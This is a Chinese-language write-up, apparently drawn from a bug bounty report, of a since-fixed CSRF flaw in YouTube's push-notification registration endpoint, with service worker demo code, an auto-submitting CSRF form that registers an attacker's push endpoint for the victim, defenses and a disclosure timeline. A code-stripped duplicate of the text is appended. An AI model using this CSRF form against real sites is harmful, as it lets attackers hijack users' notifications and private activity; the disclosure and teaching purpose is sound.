挖洞经验 | 利用CSRF漏洞劫持Youtube用户的通知消息
字数 1427 2025-08-18 11:38:28

YouTube通知服务CSRF漏洞分析与利用教学文档

漏洞概述

本漏洞是一个影响YouTube通知服务(Notification)的CSRF(跨站请求伪造)漏洞,攻击者可以利用该漏洞劫持其他YouTube用户的通知服务,以受害者身份接收其订阅频道或视频的最新通知。该漏洞最终获得Google官方$3133.7美金的奖励。

漏洞发现过程

初始发现

  1. 在YouTube官网测试时发现了一个关键POST请求:

    POST /notifications_ajax?action_register_device=1 HTTP/1.1
    Host: www.youtube.com
    ...
    
  2. 请求中包含以下关键参数:

    • endpoint: Mozilla通知推送服务URL
    • device_id: 设备标识符
    • p256dh_key: 加密公钥
    • auth_key: 认证密钥
    • permission: 权限状态

初步分析

  1. 表面上看,这些参数都经过编码,似乎有CSRF防护
  2. 深入分析发现这些参数实际上由Mozilla通知推送服务(updates.push.services.mozilla.com)生成
  3. 关键发现:请求的Referer字段指向https://www.youtube.com/sw.js,这是一个Service Worker脚本

技术背景:Service Worker

基本概念

  1. Service Worker是运行在浏览器后台的独立脚本

  2. 特点:

    • 不需要用户打开web页面
    • 不需要用户交互
    • 异步运行在完全独立的上下文环境
    • 不会阻塞主线程
  3. 主要功能:

    • 消息推送
    • 离线缓存
    • 后台同步API

在漏洞中的作用

  1. sw.js发起了关键的POST请求
  2. 这使得请求与其他具备CSRF防御机制的YouTube请求不同
  3. 为CSRF攻击提供了可能

漏洞利用步骤

第一步:构建本地测试环境

创建三个关键文件来模拟通知服务:

  1. index.html - 用户界面

    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8" meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>Push Demo</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" type="text/css" media="screen" href="index.css">
        <script src="index.js"></script>
    </head>
    <body>
        <h1>Hello World</h1>
        <button id="permission-btn" onclick="main()">Ask Permission</button>
    </body>
    </html>
    
  2. index.js - 主要逻辑

    const check = () => {
        if (!('serviceWorker' in navigator)) {
            throw new Error('No Service Worker support!')
        }
        if (!('PushManager' in window)) {
            throw new Error('No Push API Support!')
        }
    }
    
    const registerServiceWorker = async () => {
        const swRegistration = await navigator.serviceWorker.register('sw.js')
        return swRegistration
    }
    
    const requestNotificationPermission = async () => {
        const permission = await window.Notification.requestPermission()
        if (permission !== 'granted') {
            throw new Error('Permission not granted for Notification')
        }
    }
    
    const main = async () => {
        check()
        const swRegistration = await registerServiceWorker()
        const permission = await requestNotificationPermission()
    }
    
  3. sw.js - Service Worker脚本

    self.addEventListener('activate', async () => {
        console.log("Hello")
        self.registration.pushManager.subscribe()
            .then(function(subscription) {
                console.log(JSON.stringify(subscription))
            })
            .catch(function(e) {
                console.log(e)
            })
    })
    
    self.addEventListener("push", function(event) {
        if (event.data) {
            console.log("Push event!! ", event.data.text());
            showLocalNotification("Yolo", event.data.text(), self.registration);
        } else {
            console.log("Push event but no data")
        }
    })
    
    const showLocalNotification = (title, body, swRegistration) => {
        const options = {
            body
            // 可以添加更多属性如icon, image, vibrate等
        };
        swRegistration.showNotification(title, options);
    };
    

第二步:获取关键参数

  1. 打开index.html页面
  2. 点击"Ask Permission"按钮请求通知权限
  3. 后台调用sw.js脚本
  4. 通过Firefox API形成本地通知服务端
  5. 从请求中获取以下关键参数:
    • device_id
    • endpoint
    • p256dh_key
    • auth_key

第三步:构造CSRF攻击框架

<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
    <input type="text" name="device_id" value="replace">
    <input type="text" name="permission" value="granted">
    <input type="text" name="endpoint" value="replace">
    <input type="text" name="p256dh_key" value="replace">
    <input type="text" name="auth_key" value="replace">
    <input type="submit">
    <script type="text/javascript">
        document.csrf.submit();
    </script>
</form>

第四步:实施攻击

  1. 将获取的参数填入CSRF攻击框架
  2. 以受害者身份提交通知请求
  3. 成功劫持YouTube账号的消息推送接口(PUSH webhook)
  4. 可以接收以下类型的通知:
    • 订阅频道的更新消息
    • 订阅视频的更新消息
    • 私人视频的观众评论

漏洞影响

  1. 攻击者可以:

    • 监控受害者的YouTube活动
    • 获取受害者订阅的私人信息
    • 可能进一步利用这些信息进行其他攻击
  2. 漏洞严重性:

    • 影响用户隐私
    • 可能被用于针对性攻击
    • 获得Google VRP项目$3133.70美金的奖励

防御措施

  1. 服务端应:

    • 验证请求来源
    • 使用CSRF令牌
    • 检查Referer头
  2. 开发者应:

    • 谨慎处理Service Worker发起的请求
    • 对敏感操作实施额外验证
  3. 用户应:

    • 定期检查账号活动
    • 注销不使用的设备

时间线

  1. 漏洞发现并上报
  2. 半小时内获得Google初步确认
  3. 半个月后完成修复
  4. 获得$3133.70奖金

参考资源

  1. Mozilla Service Worker文档: developer.mozilla.org
  2. Google开发者文档: developers.google.com
  3. 原始漏洞报告: hackademic
YouTube通知服务CSRF漏洞分析与利用教学文档 漏洞概述 本漏洞是一个影响YouTube通知服务(Notification)的CSRF(跨站请求伪造)漏洞,攻击者可以利用该漏洞劫持其他YouTube用户的通知服务,以受害者身份接收其订阅频道或视频的最新通知。该漏洞最终获得Google官方$3133.7美金的奖励。 漏洞发现过程 初始发现 在YouTube官网测试时发现了一个关键POST请求: 请求中包含以下关键参数: endpoint : Mozilla通知推送服务URL device_id : 设备标识符 p256dh_key : 加密公钥 auth_key : 认证密钥 permission : 权限状态 初步分析 表面上看,这些参数都经过编码,似乎有CSRF防护 深入分析发现这些参数实际上由Mozilla通知推送服务( updates.push.services.mozilla.com )生成 关键发现:请求的Referer字段指向 https://www.youtube.com/sw.js ,这是一个Service Worker脚本 技术背景:Service Worker 基本概念 Service Worker是运行在浏览器后台的独立脚本 特点: 不需要用户打开web页面 不需要用户交互 异步运行在完全独立的上下文环境 不会阻塞主线程 主要功能: 消息推送 离线缓存 后台同步API 在漏洞中的作用 sw.js 发起了关键的POST请求 这使得请求与其他具备CSRF防御机制的YouTube请求不同 为CSRF攻击提供了可能 漏洞利用步骤 第一步:构建本地测试环境 创建三个关键文件来模拟通知服务: index.html - 用户界面 index.js - 主要逻辑 sw.js - Service Worker脚本 第二步:获取关键参数 打开index.html页面 点击"Ask Permission"按钮请求通知权限 后台调用sw.js脚本 通过Firefox API形成本地通知服务端 从请求中获取以下关键参数: device_id endpoint p256dh_key auth_key 第三步:构造CSRF攻击框架 第四步:实施攻击 将获取的参数填入CSRF攻击框架 以受害者身份提交通知请求 成功劫持YouTube账号的消息推送接口(PUSH webhook) 可以接收以下类型的通知: 订阅频道的更新消息 订阅视频的更新消息 私人视频的观众评论 漏洞影响 攻击者可以: 监控受害者的YouTube活动 获取受害者订阅的私人信息 可能进一步利用这些信息进行其他攻击 漏洞严重性: 影响用户隐私 可能被用于针对性攻击 获得Google VRP项目$3133.70美金的奖励 防御措施 服务端应: 验证请求来源 使用CSRF令牌 检查Referer头 开发者应: 谨慎处理Service Worker发起的请求 对敏感操作实施额外验证 用户应: 定期检查账号活动 注销不使用的设备 时间线 漏洞发现并上报 半小时内获得Google初步确认 半个月后完成修复 获得$3133.70奖金 参考资源 Mozilla Service Worker文档: developer.mozilla.org Google开发者文档: developers.google.com 原始漏洞报告: hackademic